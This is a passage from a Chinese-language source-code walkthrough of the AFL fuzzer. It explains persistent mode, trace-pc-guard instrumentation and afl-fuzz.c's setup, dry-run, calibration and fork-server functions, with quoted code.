/*** PLACEHOLDER CODE ***/
/* STEP 1: 初始化所有变量 */
memset(buf, 0, 100);
/* STEP 2: 读取输入数据，从文件读入时需要先关闭旧的fd然后重新打开文件*/
read(0, buf, 100);
/* STEP 3: 调用待fuzz的code*/
if (buf[0] == 'f') {
printf("one\n");
if (buf[1] == 'o') {
printf("two\n");
if (buf[2] == 'o') {
printf("three\n");
if (buf[3] == '!') {
printf("four\n");
abort();
}
}
}
}
/*** END PLACEHOLDER CODE ***/
}
/* 循环结束，正常结束。AFL会重启进程，并清理内存、剩余fd等 */
return 0;
}
宏定义 `__AFL_LOOP` 内部调用 `__afl_persistent_loop` 函数：
cc_params[cc_par_cnt++] = "-D__AFL_LOOP(_A)="
"({ static volatile char *_B __attribute__((used)); "
" _B = (char*)\"" PERSIST_SIG "\"; "
#ifdef __APPLE__
"__attribute__((visibility(\"default\"))) "
"int _L(unsigned int) __asm__(\"___afl_persistent_loop\"); "
#else
"__attribute__((visibility(\"default\"))) "
"int _L(unsigned int) __asm__(\"__afl_persistent_loop\"); "
#endif /* ^__APPLE__ */
"_L(_A); })";
`__afl_persistent_loop(unsigned int max_cnt)` 的逻辑如下：
结合源码梳理一下其逻辑：
/* A simplified persistent mode handler, used as explained in README.llvm. */
int __afl_persistent_loop(unsigned int max_cnt) {
static u8 first_pass = 1;
static u32 cycle_cnt;
if (first_pass) {
if (is_persistent) {
memset(__afl_area_ptr, 0, MAP_SIZE);
__afl_area_ptr[0] = 1;
__afl_prev_loc = 0;
}
cycle_cnt = max_cnt;
first_pass = 0;
return 1;
}
if (is_persistent) {
if (--cycle_cnt) {
raise(SIGSTOP);
__afl_area_ptr[0] = 1;
__afl_prev_loc = 0;
return 1;
} else {
__afl_area_ptr = __afl_area_initial;
}
}
return 0;
}
* 首先判读是否为第一次执行循环，如果是第一次：
* 如果 `is_persistent` 为1，清空 `__afl_area_ptr`，设置 `__afl_area_ptr[0]` 为1，`__afl_prev_loc` 为0；
* 设置 `cycle_cnt` 的值为传入的 `max_cnt` 参数，然后设置 `first_pass=0` 表示初次循环结束，返回1；
* 如果不是第一次执行循环，在 persistent mode 下，且 `--cycle_cnt` 大于1：
* 发出信号 `SIGSTOP` 让当前进程暂停
* 设置 `__afl_area_ptr[0]` 为1，`__afl_prev_loc` 为0，然后直接返回1
* 如果 `cycle_cnt` 为0，设置`__afl_area_ptr`指向数组 `__afl_area_initial`。
* 最后返回0
重新总结一下上面的逻辑：
* 第一次执行loop循环，进行初始化，然后返回1，此时满足 `while(__AFL_LOOP(1000)`， 于是执行一次fuzz，计数器cnt减1，抛出SIGSTOP信号暂停子进程；
* 第二次执行loop循环，恢复之前暂停的子进程继续执行，并设置 `child_stopped` 为0。此时相当于重新执行了一次程序，重新对 `__afl_prev_loc` 进行设置，随后返回1，再次进入 `while(_AFL_LOOP(1000))` ，执行一次fuzz，计数器cnt减1，抛出SIGSTOP信号暂停子进程；
* 第1000次执行，计数器cnt此时为0，不再暂停子进程，令 `__afl_area_ptr` 指向无关数组 `__afl_area_initial` ，随后子进程结束。
###### 3\. trace-pc-guard mode
该功能的使用需要设置宏 `AFL_TRACE_PC=1` ，然后再执行 `afl-clang-fast` 时传入参数 `-fsanitize-coverage=trace-pc-guard` 。
该功能的主要特点是会在每个edge插入桩代码，函数 `__sanitizer_cov_trace_pc_guard`
会在每个edge进行调用，该函数利用函数参数 `guard` 指针所指向的 `uint32` 值来确定共享内存上所对应的地址：
void __sanitizer_cov_trace_pc_guard(uint32_t* guard) {
__afl_area_ptr[*guard]++;
}
`guard` 的初始化位于函数 `__sanitizer_cov_trace_pc_guard_init` 中：
void __sanitizer_cov_trace_pc_guard_init(uint32_t* start, uint32_t* stop) {
u32 inst_ratio = 100;
u8* x;
if (start == stop || *start) return;
x = getenv("AFL_INST_RATIO");
if (x) inst_ratio = atoi(x);
if (!inst_ratio || inst_ratio > 100) {
fprintf(stderr, "[-] ERROR: Invalid AFL_INST_RATIO (must be 1-100).\n");
abort();
}
*(start++) = R(MAP_SIZE - 1) + 1;
while (start < stop) { // 这里如果计算stop-start，就是程序里总计的edge数
if (R(100) < inst_ratio) *start = R(MAP_SIZE - 1) + 1;
else *start = 0;
start++;
}
}
## 三、AFL的fuzzer —— afl-fuzz.c
### 1\. 、概述
AFL中最重要的部分便是fuzzer的实现部分——`afl_fuzz.c`
，其主要作用是通过不断变异测试用例来影响程序的执行路径。该文件代码量在8000行左右，处于篇幅原因，我们不会对每一个函数进行源码级分析，而是按照功能划分，介绍其中的核心函数。该文件属于AFL整个项目的核心中的核心，强烈建议通读该文件。
在介绍源码的同时，会穿插AFL的整体运行过程和设计思路，辅助理解源码的设计思路。
在功能上，可以总体上分为3部分：
1. 初始配置：进行fuzz环境配置相关工作
2. fuzz执行：fuzz的主循环过程
3. 变异策略：测试用例的变异过程和方式
我们将按照以上3个功能对其中的关键函数和流程进行分析。
### 2、核心源码分析
#### 1\. 初始配置
##### 1.1 第一个while循环
while ((opt = getopt(argc, argv, "+i:o:f:m:b:t:T:dnCB:S:M:x:QV")) > 0)
... ...
该循环主要通过 `getopt` 获取各种环境配置、选项参数等。
##### 1.2 setup_signal_handlers 函数
调用 `sigaction` ，注册信号处理函数，设置信号句柄。具体的信号内容如下：
信号 | 作用
---|---
SIGHUP/SIGINT/SIGTERM | 处理各种“stop”情况
SIGALRM | 处理超时的情况
SIGWINCH | 处理窗口大小
SIGUSER1 | 用户自定义信号，这里定义为skip request
SIGSTP/SIGPIPE | 不是很重要的一些信号，可以不用关心
##### 1.3 check_asan_opts 函数
读取环境变量 `ASAN_OPTIONS` 和 `MSAN_OPTIONS`，做一些必要性检查。
##### 1.4 fix_up_sync 函数
如果通过 `-M`或者`-S`指定了 `sync_id`，则更新 `out_dir` 和 `sync_dir` 的值：设置 `sync_dir` 的值为
`out_dir`，设置 `out_dir` 的值为`out_dir/sync_id`。
##### 1.5 save_cmdline 函数
copy当前命令行参数，保存。
##### 1.6 check_if_tty 函数
检查是否在tty终端上面运行：读取环境变量 `AFL_NO_UI` ，如果存在，设置 `not_on_tty` 为1，并返回；通过 `ioctl`
读取window size，如果报错为 `ENOTTY`，表示当前不在一个tty终端运行，设置 `not_on_tty`。
##### 1.7 几个CPU检查相关的函数
* `static void get_core_count(void)get_core_count()`：获取核心数量
* `check_crash_handling()`：确保核心转储不会进入程序
* `check_cpu_governor()`：检查CPU管理者
##### 1.8 **setup_shm** 函数
该函数用于设置共享内存和 `virgin_bits`，属于比较重要的函数，这里我们结合源码来解析一下：
/* Configure shared memory and virgin_bits. This is called at startup. */
EXP_ST void setup_shm(void) {
u8* shm_str;
if (!in_bitmap) memset(virgin_bits, 255, MAP_SIZE);
// 如果 in_bitmap 为空，调用 memset 初始化数组 virgin_bits[MAP_SIZE] 的每个元素的值为 ‘255’。
memset(virgin_tmout, 255, MAP_SIZE); // 调用 memset 初始化数组 virgin_tmout[MAP_SIZE] 的每个元素的值为 ‘255’。
memset(virgin_crash, 255, MAP_SIZE); // 调用 memset 初始化数组 virgin_crash[MAP_SIZE] 的每个元素的值为 ‘255’。
shm_id = shmget(IPC_PRIVATE, MAP_SIZE, IPC_CREAT | IPC_EXCL | 0600);
// 调用 shmget 函数分配一块共享内存，并将返回的共享内存标识符保存到 shm_id
if (shm_id < 0) PFATAL("shmget() failed");
atexit(remove_shm); // 注册 atexit handler 为 remove_shm
shm_str = alloc_printf("%d", shm_id); // 创建字符串 shm_str
/* If somebody is asking us to fuzz instrumented binaries in dumb mode,
we don't want them to detect instrumentation, since we won't be sending
fork server commands. This should be replaced with better auto-detection
later on, perhaps? */
if (!dumb_mode) setenv(SHM_ENV_VAR, shm_str, 1);
// 如果不是dumb_mode，设置环境变量 SHM_ENV_VAR 的值为 shm_str
ck_free(shm_str);
trace_bits = shmat(shm_id, NULL, 0);
// 设置 trace_bits 并初始化为0
if (trace_bits == (void *)-1) PFATAL("shmat() failed");
}
这里通过 `trace_bits` 和 `virgin_bits` 两个 bitmap 来分别记录当前的 tuple 信息及整体 tuple 信息，其中
`trace_bits` 位于共享内存上，便于进行进程间通信。通过 `virgin_tmout` 和 `virgin_crash` 两个 bitmap
来记录 fuzz 过程中出现的所有目标程序超时以及崩溃的 tuple 信息。
##### 1.9 setup_dirs_fds 函数
该函数用于准备输出文件夹和文件描述符，结合源码进行解析：
EXP_ST void setup_dirs_fds(void) {
u8* tmp;
s32 fd;
ACTF("Setting up output directories...");
if (sync_id && mkdir(sync_dir, 0700) && errno != EEXIST)
PFATAL("Unable to create '%s'", sync_dir);
/* 如果sync_id，且创建sync_dir文件夹并设置权限为0700，如果报错单errno不是 EEXIST ，抛出异常 */
if (mkdir(out_dir, 0700)) { // 创建out_dir， 权限为0700
if (errno != EEXIST) PFATAL("Unable to create '%s'", out_dir);
maybe_delete_out_dir();
} else {
if (in_place_resume) // 创建成功
FATAL("Resume attempted but old output directory not found");
out_dir_fd = open(out_dir, O_RDONLY); // 以只读模式打开，返回fd：out_dir_fd
#ifndef __sun
if (out_dir_fd < 0 || flock(out_dir_fd, LOCK_EX | LOCK_NB))
PFATAL("Unable to flock() output directory.");
#endif /* !__sun */
}
/* Queue directory for any starting & discovered paths. */
tmp = alloc_printf("%s/queue", out_dir);
if (mkdir(tmp, 0700)) PFATAL("Unable to create '%s'", tmp);
// 创建 out_dir/queue 文件夹，权限为0700
ck_free(tmp);
/* Top-level directory for queue metadata used for session
resume and related tasks. */
tmp = alloc_printf("%s/queue/.state/", out_dir);
// 创建 out_dir/queue/.state 文件夹，用于保存session resume 和相关tasks的队列元数据。
if (mkdir(tmp, 0700)) PFATAL("Unable to create '%s'", tmp);
ck_free(tmp);
/* Directory for flagging queue entries that went through
deterministic fuzzing in the past. */
tmp = alloc_printf("%s/queue/.state/deterministic_done/", out_dir);
if (mkdir(tmp, 0700)) PFATAL("Unable to create '%s'", tmp);
ck_free(tmp);
/* Directory with the auto-selected dictionary entries. */
tmp = alloc_printf("%s/queue/.state/auto_extras/", out_dir);
if (mkdir(tmp, 0700)) PFATAL("Unable to create '%s'", tmp);
ck_free(tmp);
/* The set of paths currently deemed redundant. */
tmp = alloc_printf("%s/queue/.state/redundant_edges/", out_dir);
if (mkdir(tmp, 0700)) PFATAL("Unable to create '%s'", tmp);
ck_free(tmp);
/* The set of paths showing variable behavior. */
tmp = alloc_printf("%s/queue/.state/variable_behavior/", out_dir);
if (mkdir(tmp, 0700)) PFATAL("Unable to create '%s'", tmp);
ck_free(tmp);
/* Sync directory for keeping track of cooperating fuzzers. */
if (sync_id) {
tmp = alloc_printf("%s/.synced/", out_dir);
if (mkdir(tmp, 0700) && (!in_place_resume || errno != EEXIST))
PFATAL("Unable to create '%s'", tmp);
ck_free(tmp);
}
/* All recorded crashes. */
tmp = alloc_printf("%s/crashes", out_dir);
if (mkdir(tmp, 0700)) PFATAL("Unable to create '%s'", tmp);
ck_free(tmp);
/* All recorded hangs. */
tmp = alloc_printf("%s/hangs", out_dir);
if (mkdir(tmp, 0700)) PFATAL("Unable to create '%s'", tmp);
ck_free(tmp);
/* Generally useful file descriptors. */
dev_null_fd = open("/dev/null", O_RDWR);
if (dev_null_fd < 0) PFATAL("Unable to open /dev/null");
dev_urandom_fd = open("/dev/urandom", O_RDONLY);
if (dev_urandom_fd < 0) PFATAL("Unable to open /dev/urandom");
/* Gnuplot output file. */
tmp = alloc_printf("%s/plot_data", out_dir);
fd = open(tmp, O_WRONLY | O_CREAT | O_EXCL, 0600);
if (fd < 0) PFATAL("Unable to create '%s'", tmp);
ck_free(tmp);
plot_file = fdopen(fd, "w");
if (!plot_file) PFATAL("fdopen() failed");
fprintf(plot_file, "# unix_time, cycles_done, cur_path, paths_total, "
"pending_total, pending_favs, map_size, unique_crashes, "
"unique_hangs, max_depth, execs_per_sec\n");
/* ignore errors */
该函数的源码中，开发者对关键位置均做了清楚的注释，很容易理解，不做过多解释。
##### 1.10 read_testcases 函数
该函数会将 `in_dir` 目录下的测试用例扫描到 `queue` 中，并且区分该文件是否为经过确定性变异的input，如果是的话跳过，以节省时间。
调用函数 `add_to_queue()` 将测试用例排成queue队列。该函数会在启动时进行调用。
##### 1.11 add_to_queue 函数
该函数主要用于将新的test case添加到队列，初始化 `fname` 文件名称，增加`cur_depth` 深度，增加 `queued_paths`
测试用例数量等。
首先，`queue_entry` 结构体定义如下：
struct queue_entry {
u8* fname; /* File name for the test case */
u32 len; /* Input length */
u8 cal_failed, /* Calibration failed? */
trim_done, /* Trimmed? */
was_fuzzed, /* Had any fuzzing done yet? */
passed_det, /* Deterministic stages passed? */
has_new_cov, /* Triggers new coverage? */
var_behavior, /* Variable behavior? */
favored, /* Currently favored? */
fs_redundant; /* Marked as redundant in the fs? */
u32 bitmap_size, /* Number of bits set in bitmap */
exec_cksum; /* Checksum of the execution trace */
u64 exec_us, /* Execution time (us) */
handicap, /* Number of queue cycles behind */
depth; /* Path depth */
u8* trace_mini; /* Trace bytes, if kept */
u32 tc_ref; /* Trace bytes ref count */
struct queue_entry *next, /* Next element, if any */
*next_100; /* 100 elements ahead */
};
然后在函数内部进行的相关操作如下：
/* Append new test case to the queue. */
static void add_to_queue(u8* fname, u32 len, u8 passed_det) {
struct queue_entry* q = ck_alloc(sizeof(struct queue_entry));
// 通过ck_alloc分配一个 queue_entry 结构体，并进行初始化
q->fname = fname;
q->len = len;
q->depth = cur_depth + 1;
q->passed_det = passed_det;
if (q->depth > max_depth) max_depth = q->depth;
if (queue_top) {
queue_top->next = q;
queue_top = q;
} else q_prev100 = queue = queue_top = q;
queued_paths++; // queue计数器加1
pending_not_fuzzed++; // 待fuzz的样例计数器加1
cycles_wo_finds = 0;
/* Set next_100 pointer for every 100th element (index 0, 100, etc) to allow faster iteration. */
if ((queued_paths - 1) % 100 == 0 && queued_paths > 1) {
q_prev100->next_100 = q;
q_prev100 = q;
}
last_path_time = get_cur_time();
}
##### 1.12 pivot_inputs 函数
在输出目录中为输入测试用例创建硬链接。
##### 1\. 13 find_timeout 函数
变量 `timeout_given` 没有被设置时，会调用到该函数。该函数主要是在没有指定 `-t` 选项进行 resuming session
时，避免一次次地自动调整超时时间。
##### 1.14 detect_file_args
识别参数中是否有“@@”，如果有，则替换为 `out_dir/.cur_input` ，没有则返回：
/* Detect @@ in args. */
EXP_ST void detect_file_args(char** argv) {
u32 i = 0;
u8* cwd = getcwd(NULL, 0);
if (!cwd) PFATAL("getcwd() failed");
while (argv[i]) {
u8* aa_loc = strstr(argv[i], "@@"); // 查找@@
if (aa_loc) {
u8 *aa_subst, *n_arg;
/* If we don't have a file name chosen yet, use a safe default. */
if (!out_file)
out_file = alloc_printf("%s/.cur_input", out_dir);
/* Be sure that we're always using fully-qualified paths. */
if (out_file[0] == '/') aa_subst = out_file;
else aa_subst = alloc_printf("%s/%s", cwd, out_file);
/* Construct a replacement argv value. */
*aa_loc = 0;
n_arg = alloc_printf("%s%s%s", argv[i], aa_subst, aa_loc + 2);
argv[i] = n_arg;
*aa_loc = '@';
if (out_file[0] != '/') ck_free(aa_subst);
}
i++;
}
free(cwd); /* not tracked */
}
##### 1.15 check_binary 函数
检查指定路径要执行的程序是否存在，是否为shell脚本，同时检查elf文件头是否合法及程序是否被插桩。
#### 2\. 第一遍fuzz
##### 2.1 检查
调用 `get_cur_time()` 函数获取开始时间，检查是否处于 `qemu_mode`。
##### 2.2 perform_dry_run 函数
该函数是AFL中的一个关键函数，它会执行 `input` 文件夹下的预先准备的所有测试用例，生成初始化的 queue 和
bitmap，只对初始输入执行一次。函数控制流程图如下：
下面将结合函数源码进行解析（删除部分非关键代码）：
/* Perform dry run of all test cases to confirm that the app is working as
expected. This is done only for the initial inputs, and only once. */
static void perform_dry_run(char** argv) {
struct queue_entry* q = queue; // 创建queue_entry结构体
u32 cal_failures = 0;
u8* skip_crashes = getenv("AFL_SKIP_CRASHES"); // 读取环境变量 AFL_SKIP_CRASHES
while (q) { // 遍历队列
u8* use_mem;
u8 res;
s32 fd;
u8* fn = strrchr(q->fname, '/') + 1;
ACTF("Attempting dry run with '%s'...", fn);
fd = open(q->fname, O_RDONLY);
if (fd < 0) PFATAL("Unable to open '%s'", q->fname);
use_mem = ck_alloc_nozero(q->len);
if (read(fd, use_mem, q->len) != q->len)
FATAL("Short read from '%s'", q->fname); // 打开q->fname，读取到分配的内存中
close(fd);
res = calibrate_case(argv, q, use_mem, 0, 1); // 调用函数calibrate_case校准测试用例
ck_free(use_mem);
if (stop_soon) return;
if (res == crash_mode || res == FAULT_NOBITS)
SAYF(cGRA " len = %u, map size = %u, exec speed = %llu us\n" cRST,
q->len, q->bitmap_size, q->exec_us);
switch (res) { // 判断res的值
case FAULT_NONE:
if (q == queue) check_map_coverage(); // 如果为头结点，调用check_map_coverage评估覆盖率
if (crash_mode) FATAL("Test case '%s' does *NOT* crash", fn); // 抛出异常
break;
case FAULT_TMOUT:
if (timeout_given) { // 指定了 -t 选项
/* The -t nn+ syntax in the command line sets timeout_given to '2' and
instructs afl-fuzz to tolerate but skip queue entries that time
out. */
if (timeout_given > 1) {
WARNF("Test case results in a timeout (skipping)");
q->cal_failed = CAL_CHANCES;
cal_failures++;
break;
}
SAYF(... ...);
FATAL("Test case '%s' results in a timeout", fn);
} else {
SAYF(... ...);
FATAL("Test case '%s' results in a timeout", fn);
}
case FAULT_CRASH:
if (crash_mode) break;
if (skip_crashes) {
WARNF("Test case results in a crash (skipping)");
q->cal_failed = CAL_CHANCES;
cal_failures++;
break;
}
if (mem_limit) { // 建议增加内存
SAYF(... ...);
} else {
SAYF(... ...);
}
FATAL("Test case '%s' results in a crash", fn);
case FAULT_ERROR:
FATAL("Unable to execute target application ('%s')", argv[0]);
case FAULT_NOINST: // 测试用例运行没有路径信息
FATAL("No instrumentation detected");
case FAULT_NOBITS: // 没有出现新路径，判定为无效路径
useless_at_start++;
if (!in_bitmap && !shuffle_queue)
WARNF("No new instrumentation output, test case may be useless.");
break;
}
if (q->var_behavior) WARNF("Instrumentation output varies across runs.");
q = q->next; // 读取下一个queue
}
if (cal_failures) {
if (cal_failures == queued_paths)
FATAL("All test cases time out%s, giving up!",
skip_crashes ? " or crash" : "");
WARNF("Skipped %u test cases (%0.02f%%) due to timeouts%s.", cal_failures,
((double)cal_failures) * 100 / queued_paths,
skip_crashes ? " or crashes" : "");
if (cal_failures * 5 > queued_paths)
WARNF(cLRD "High percentage of rejected test cases, check settings!");
}
OKF("All test cases processed.");
}
总结以上流程：
1. 进入 `while` 循环，遍历 `input` 队列，从队列中取出 `q->fname`，读取文件内容到分配的内存中，然后关闭文件；
2. 调用 `calibrate_case` 函数校准该测试用例；
3. 根据校准的返回值 `res` ，判断错误类型；
4. 打印错误信息，退出。
##### 2.3 calibrate_case 函数
该函数同样为AFL的一个关键函数，用于新测试用例的校准，在处理输入目录时执行，以便在早期就发现有问题的测试用例，并且在发现新路径时，评估新发现的测试用例的是否可变。该函数在
`perform_dry_run`，`save_if_interesting`，`fuzz_one`，`pilot_fuzzing`，`core_fuzzing`函数中均有调用。该函数主要用途是初始化并启动fork
server，多次运行测试用例，并用 `update_bitmap_score` 进行初始的byte排序。
函数控制流程图如下：
结合源码进行解读如下：
/* Calibrate a new test case. This is done when processing the input directory
to warn about flaky or otherwise problematic test cases early on; and when
new paths are discovered to detect variable behavior and so on. */
static u8 calibrate_case(char** argv, struct queue_entry* q, u8* use_mem,
u32 handicap, u8 from_queue) {
static u8 first_trace[MAP_SIZE]; // 创建 firts_trace[MAP_SIZE]
u8 fault = 0, new_bits = 0, var_detected = 0, hnb = 0,
first_run = (q->exec_cksum == 0); // 获取执行追踪结果，判断case是否为第一次运行，若为0则表示第一次运行，来自input文件夹
u64 start_us, stop_us;
s32 old_sc = stage_cur, old_sm = stage_max;
u32 use_tmout = exec_tmout;
u8* old_sn = stage_name; // 保存原有 stage_cur, stage_max, stage_name
/* Be a bit more generous about timeouts when resuming sessions, or when
trying to calibrate already-added finds. This helps avoid trouble due
to intermittent latency. */
if (!from_queue || resuming_fuzz)
// 如果from_queue为0（表示case不是来自queue）或者resuming_fuzz为1（表示处于resuming sessions）
use_tmout = MAX(exec_tmout + CAL_TMOUT_ADD,
exec_tmout * CAL_TMOUT_PERC / 100); // 提升 use_tmout 的值
q->cal_failed++;
stage_name = "calibration"; // 设置 stage_name
stage_max = fast_cal ? 3 : CAL_CYCLES; // 设置 stage_max，新测试用例的校准周期数
/* Make sure the fork server is up before we do anything, and let's not
count its spin-up time toward binary calibration. */
if (dumb_mode != 1 && !no_fork server && !forksrv_pid)
init_fork server(argv); // 没有运行在dumb_mode，没有禁用fork server，切forksrv_pid为0时，启动fork server
if (q->exec_cksum) { // 判断是否为新case（如果这个queue不是来自input文件夹）
memcpy(first_trace, trace_bits, MAP_SIZE);
hnb = has_new_bits(virgin_bits);
if (hnb > new_bits) new_bits = hnb;
}
start_us = get_cur_time_us();
for (stage_cur = 0; stage_cur < stage_max; stage_cur++) { // 开始执行 calibration stage，总计执行 stage_max 轮
u32 cksum;
if (!first_run && !(stage_cur % stats_update_freq)) show_stats(); // queue不是来自input，第一轮calibration stage执行结束，刷新一次展示界面
write_to_testcase(use_mem, q->len);
fault = run_target(argv, use_tmout);
/* stop_soon is set by the handler for Ctrl+C. When it's pressed,
we want to bail out quickly. */
if (stop_soon || fault != crash_mode) goto abort_calibration;
if (!dumb_mode && !stage_cur && !count_bytes(trace_bits)) {
// 如果 calibration stage第一次运行，且不在dumb_mode，共享内存中没有任何路径
fault = FAULT_NOINST;
goto abort_calibration;
}
cksum = hash32(trace_bits, MAP_SIZE, HASH_CONST);
if (q->exec_cksum != cksum) {
hnb = has_new_bits(virgin_bits);
if (hnb > new_bits) new_bits = hnb;
if (q->exec_cksum) { // 不等于exec_cksum，表示第一次运行，或在相同参数下，每次执行，cksum不同，表示是一个路径可变的queue
u32 i;
for (i = 0; i < MAP_SIZE; i++) {
if (!var_bytes[i] && first_trace[i] != trace_bits[i]) {
// 从0到MAP_SIZE进行遍历， first_trace[i] != trace_bits[i]，表示发现了可变queue
var_bytes[i] = 1;
stage_max = CAL_CYCLES_LONG;
}
}
var_detected = 1;
} else {
q->exec_cksum = cksum; // q->exec_cksum=0，表示第一次执行queue，则设置计算出来的本次执行的cksum
memcpy(first_trace, trace_bits, MAP_SIZE);
}
}
}
stop_us = get_cur_time_us();
total_cal_us += stop_us - start_us; // 保存所有轮次的总执行时间
total_cal_cycles += stage_max; // 保存总轮次
/* OK, let's collect some stats about the performance of this test case.
This is used for fuzzing air time calculations in calculate_score(). */
q->exec_us = (stop_us - start_us) / stage_max; // 单次执行时间的平均值
q->bitmap_size = count_bytes(trace_bits); // 最后一次执行所覆盖的路径数
q->handicap = handicap;
q->cal_failed = 0;
total_bitmap_size += q->bitmap_size; // 加上queue所覆盖的路径数
total_bitmap_entries++;
update_bitmap_score(q);
/* If this case didn't result in new output from the instrumentation, tell
parent. This is a non-critical problem, but something to warn the user
about. */
if (!dumb_mode && first_run && !fault && !new_bits) fault = FAULT_NOBITS;
abort_calibration:
if (new_bits == 2 && !q->has_new_cov) {
q->has_new_cov = 1;
queued_with_cov++;
}
/* Mark variable paths. */
if (var_detected) { // queue是可变路径
var_byte_count = count_bytes(var_bytes);
if (!q->var_behavior) {
mark_as_variable(q);
queued_variable++;
}
}
// 恢复之前的stage值
stage_name = old_sn;
stage_cur = old_sc;
stage_max = old_sm;
if (!first_run) show_stats();
return fault;
}
总结以上过程如下：
1. 进行参数设置，包括当前阶段 `stage_cur`，阶段名称 `stage_name`，新比特 `new_bit 等初始化;
2. 参数 `from_queue`，判断case是否在队列中，且是否处于resuming session， 以此设置时间延迟。testcase参数 `q->cal_failed` 加1， 是否校准失败参数加1；
3. 判断是否已经启动fork server ，调用函数 `init_fork server()` ；
4. 拷贝 `trace_bits` 到 `first_trace` ，调用 `get_cur_time_us()` 获取开始时间 `start_us`；
5. 进入loop循环，该loop循环多次执行testcase，循环次数为8次或者3次；
6. 调用 `write_to_testcase` 将修改后的数据写入文件进行测试。如果 `use_stdin` 被清除，取消旧文件链接并创建一个新文件。否则，缩短`prog_in_fd` ；
7. 调用 `run_target` 通知fork server可以开始fork并fuzz；
8. 调用 `hash32` 校验此次运行的 `trace_bits`，检查是否出现新的情况；
9. 将本次运行的出现 `trace_bits` 哈希和本次 testcase的 `q->exec_cksum`对比。如果发现不同，则调用 `has_new_bits`函数和总表`virgin_bits` 对比；
10. 判断 `q->exec_cksum` 是否为0，不为0说明不是第一次执行。后面运行如果和前面第一次 `trace_bits` 结果不同，则需要多运行几次；
11. loop循环结束；
12. 收集一些关于测试用例性能的统计数据。比如执行时间延迟，校准错误，bitmap大小等等；
13. 调用 `update_bitmap_score()` 函数对测试用例的每个byte进行排序，用一个 `top_rate[]` 维护最佳入口；
14. 如果没有从检测中得到 `new_bit`，则告诉父进程，这是一个无关紧要的问题，但是需要提醒用户。 总结：calibratecase函数到此为止，该函数主要用途是init_fork server；将testcase运行多次；用update_bitmap_score进行初始的byte排序。
##### 2.4 init_forkserve 函数
AFL的fork server机制避免了多次执行 `execve()`
函数的多次调用，只需要调用一次然后通过管道发送命令即可。该函数主要用于启动APP和它的fork server。函数整体控制流程图如下：
结合源码梳理一下函数流程：
EXP_ST void init_fork server(char** argv) {
static struct itimerval it;
int st_pipe[2], ctl_pipe[2];
int status;
s32 rlen;
ACTF("Spinning up the fork server...");
if (pipe(st_pipe) || pipe(ctl_pipe)) PFATAL("pipe() failed");
// 检查 st_pipe 和ctl_pipe，在父子进程间进行管道通信，一个用于传递状态，一个用于传递命令
forksrv_pid = fork();
// fork进程出一个子进程
// 如果fork成功，则现在有父子两个进程
// 此时的父进程为fuzzer，子进程则为目标程序进程，也是将来的fork server
if (forksrv_pid < 0) PFATAL("fork() failed"); // fork失败
// 子进程和父进程都会向下执行，通过pid来使父子进程执行不同的代码
if (!forksrv_pid) { // 子进程执行
struct rlimit r;
/* 中间省略针对OpenBSD的特殊处理 */
... ...
/* Isolate the process and configure standard descriptors. If out_file is
specified, stdin is /dev/null; otherwise, out_fd is cloned instead. */
// 创建守护进程
setsid();
// 重定向文件描述符1和2到dev_null_fd
dup2(dev_null_fd, 1);
dup2(dev_null_fd, 2);
// 如果指定了out_file，则文件描述符0重定向到dev_null_fd，否则重定向到out_fd
if (out_file) {
dup2(dev_null_fd, 0);
} else {
dup2(out_fd, 0);
close(out_fd);
}
/* Set up control and status pipes, close the unneeded original fds. */
// 设置控制和状态管道，关闭不需要的一些文件描述符
if (dup2(ctl_pipe[0], FORKSRV_FD) < 0) PFATAL("dup2() failed");
if (dup2(st_pipe[1], FORKSRV_FD + 1) < 0) PFATAL("dup2() failed");
close(ctl_pipe[0]);
close(ctl_pipe[1]);
close(st_pipe[0]);
close(st_pipe[1]);
close(out_dir_fd);
close(dev_null_fd);
close(dev_urandom_fd);
close(fileno(plot_file));
/* This should improve performance a bit, since it stops the linker from
doing extra work post-fork(). */
// 如果没有设置延迟绑定，则进行设置，不使用缺省模式
if (!getenv("LD_BIND_LAZY")) setenv("LD_BIND_NOW", "1", 0);
/* Set sane defaults for ASAN if nothing else specified. */
// 设置环境变量ASAN_OPTIONS，配置ASAN相关
setenv("ASAN_OPTIONS", "abort_on_error=1:"
"detect_leaks=0:"
"symbolize=0:"
"allocator_may_return_null=1", 0);
/* MSAN is tricky, because it doesn't support abort_on_error=1 at this
point. So, we do this in a very hacky way. */
// MSAN相关
setenv("MSAN_OPTIONS", "exit_code=" STRINGIFY(MSAN_ERROR) ":"
"symbolize=0:"
"abort_on_error=1:"
"allocator_may_return_null=1:"
"msan_track_origins=0", 0);
/* 带参数执行目标程序，报错才返回
execv()会替换原有进程空间为目标程序，所以后续执行的都是目标程序。
第一个目标程序会进入__afl_maybe_log里的__afl_fork_wait_loop，并充当fork server。
在整个过程中，每次要fuzz一次目标程序，都会从这个fork server再fork出来一个子进程去fuzz。
因此可以看作是三段式：fuzzer -> fork server -> target子进程
*/
execv(target_path, argv);
/* Use a distinctive bitmap signature to tell the parent about execv()
falling through. */
// 告诉父进程执行失败，结束子进程
*(u32*)trace_bits = EXEC_FAIL_SIG;
exit(0);
}
/* Close the unneeded endpoints. */
close(ctl_pipe[0]);
close(st_pipe[1]);
fsrv_ctl_fd = ctl_pipe[1]; // 父进程只能发送命令
fsrv_st_fd = st_pipe[0]; // 父进程只能读取状态
/* Wait for the fork server to come up, but don't wait too long. */
// 在一定时间内等待fork server启动
it.it_value.tv_sec = ((exec_tmout * FORK_WAIT_MULT) / 1000);
it.it_value.tv_usec = ((exec_tmout * FORK_WAIT_MULT) % 1000) * 1000;
setitimer(ITIMER_REAL, &it, NULL);
rlen = read(fsrv_st_fd, &status, 4); // 从管道里读取4字节数据到status
it.it_value.tv_sec = 0;
it.it_value.tv_usec = 0;
setitimer(ITIMER_REAL, &it, NULL);
/* If we have a four-byte "hello" message from the server, we're all set.
Otherwise, try to figure out what went wrong. */
if (rlen == 4) { // 以读取的结果判断fork server是否成功启动
OKF("All right - fork server is up.");
return;
}
// 子进程启动失败的异常处理相关
if (child_timed_out)
FATAL("Timeout while initializing fork server (adjusting -t may help)");
if (waitpid(forksrv_pid, &status, 0) <= 0)
PFATAL("waitpid() failed");
... ...
}
我们结合fuzzer对该函数的调用来梳理完整的流程如下：
启动目标程序进程后，目标程序会运行一个fork server，fuzzer自身并不负责fork子进程，而是通过管道与fork server通信，由fork
server来完成fork以及继续执行目标程序的操作。
对于fuzzer和目标程序之间的通信状态我们可以通过下图来梳理：
结合前面的插桩部分一起来看：
首先，`afl-fuzz` 会创建两个管道：状态管道和控制管道，然后执行目标程序。此时的目标程序的 `main()` 函数已经被插桩，程序控制流进入
